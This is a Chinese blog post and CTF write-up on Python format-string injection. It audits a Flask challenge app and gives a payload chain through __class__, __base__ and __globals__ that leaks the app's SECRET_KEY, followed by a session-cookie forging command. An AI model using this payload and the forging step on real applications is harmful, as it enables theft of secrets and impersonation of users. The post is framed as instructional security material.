python格式化字符串漏洞

0x00 前言

在python2.6之后,引入了format格式化字符串的方法,极大的扩展了%格式化字符串的形式。它甚至可以访问对象的属性和数据项,这导致字符串在用户可控的的条件下,将产生安全问题。

0x01 简单例子

1
2
3
4
5
6
7
8
9
10
11
secert = 'I_love_python'

class User():
def __init__(self,name,password):
self.name = name
self.password = password

user = User('boogle','l3oog1e_Password')
email = '{user.password},{user.__class__.__init__.__globals__}'
info = 'Hello ,{user.name}'+' your email is '+email
print info.format(user=user)

假设上面代码中email内容用户可控,使用上面构造的字符串后,发现带出来敏感数据。

1
Hello ,boogle your email is l3oog1e_Password,{'info': 'Hello ,{user.name} your email is {user.password},{user.__class__.__init__.__globals__}', 'secert': 'I_love_python', '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'C:\\Users\\14737\\Desktop\\format.py', '__package__': None, 'email': '{user.password},{user.__class__.__init__.__globals__}', 'User': <class __main__.User at 0x02D41DC0>, '__name__': '__main__', '__doc__': None, 'user': <__main__.User instance at 0x02D55508>}

0x02 构造利用链

在上面的实例中,我们带出来两种数据,一种是方法内的局部变量,一种是类外的全局变量。可以看到带出局部变量构造比较简单,而带出全局变量比较复杂,而在实际环境中带出敏感信息则更为复杂,这里介绍几个常用的方法。

  • bases 返回一个类直接所继承的类(元组形式
  • mro 也是返回一个类直接所继承的类
  • class 返回一个实例所属的类
  • globals 用于函数,返回一个当前空间下能使用的模块,方法和变量的字典
  • subclasses() 获取一个类的子类,返回的是一个列表

0x03 ctf题目

下面使用百越杯中的一个web题目演示上面利用链的使用方法。

搭建环境

题目源码:easy flask

1
2
3
4
5
6
7
修改工作目录即文件夹名为flaskr
然后启动flask application,首先设置环境变量
set FLASK_APP = __init__.py //powershell命令为:$env:FLASK_APP = "__init__.py"
初始化数据库
flask init-db
运行
flask run

代码审计

这里只查看格式化字符串漏洞导致信息泄露部分,全局搜索format

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@bp_secert.route('/views',methods = ['GET','POST'])
@login_check
def views_info():
view_id = request.args.get('id')
if not view_id:
view_id = session.get('user_id')

user_m = user.query.filter_by(id=view_id).first()

if user_m is None:
flash(u"该用户未注册")
return render_template('secert/views.html')

if str(session.get('user_id'))==str(view_id):
secert_m = secert.query.filter_by(id=view_id).first()
secert_t = u"<p>{secert.secert}<p>".format(secert = secert_m)
else:
secert_t = u"<p>***************************************<p>"

name = u"<h1>name:{user_m.username}<h1>"
email = u"<h2>email:{user_m.email}<h2>"

info = (name+email+secert_t).format(user_m=user_m)
return render_template('secert/views.html',info = info)

在view_info函数中可以看到secret_m内容首先进入到secret_r然后又带入格式化的字符串中,这里secret_m为数据库secert表内容,继续往下看,可以看到该表中内容来自用户edit页面编辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@bp_secert.route('/edit',methods = ['GET','POST'])
@login_check
def edit_secert():
if request.method=='POST':
secert_new = request.form.get('secert')
error = None

if not secert_new:
error = u'请输入你的秘密'

if error is None:
secert.query.filter_by(id = session.get('user_id')).update({'secert':secert_new})
db.session.commit()
return redirect(url_for('secert.views_info'))
flash(error)

return render_template('secert/edit.html')

所以,secert_m内容可控,即最终格式化字符串的内容可控,即存在我们上面所说的问题。

1
info = (name+email+secert_t).format(user_m=user_m)

这里format()方法中,传入参数user_m,则前面字符串中也应为{user_m}形式,否则会报错。

构造利用链

首先确定函数为user_m,向上查看。

1
2
3
```
class user(db.Model):
....//省略类内容

在该类中没有我们想要的内容,可以看到user类继承自db.Model。那么可以使用base获取。
db.Model是SQLAlchemy的实例。而db使用了current_app进行了配置

1
2
3
4
5
def init_db():
db = sqlite3.connect(
current_app.config['DATABASE'],
detect_types=sqlite3.PARSE_DECLTYPES
)

而current_app中有用于生成用户session的SECRET_KEY,所以我们可以用这条链进行获取。

1
{user_m.__class__.__base__.__class__.__init__.__globals__[current_app].config}

获取到secret_key便可进行session伪造

利用脚本https://github.com/noraj/flask-session-cookie-manager

1
python3 .\session_cookie_manager.py encode -s 'test' -t "{'user_id': 5}"

本文标题:python格式化字符串漏洞

文章作者:boogle

发布时间:2019年02月20日 - 22:34

最后更新:2019年03月07日 - 11:37

原始链接:https://zhengbao.wang/python格式化字符串漏洞/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗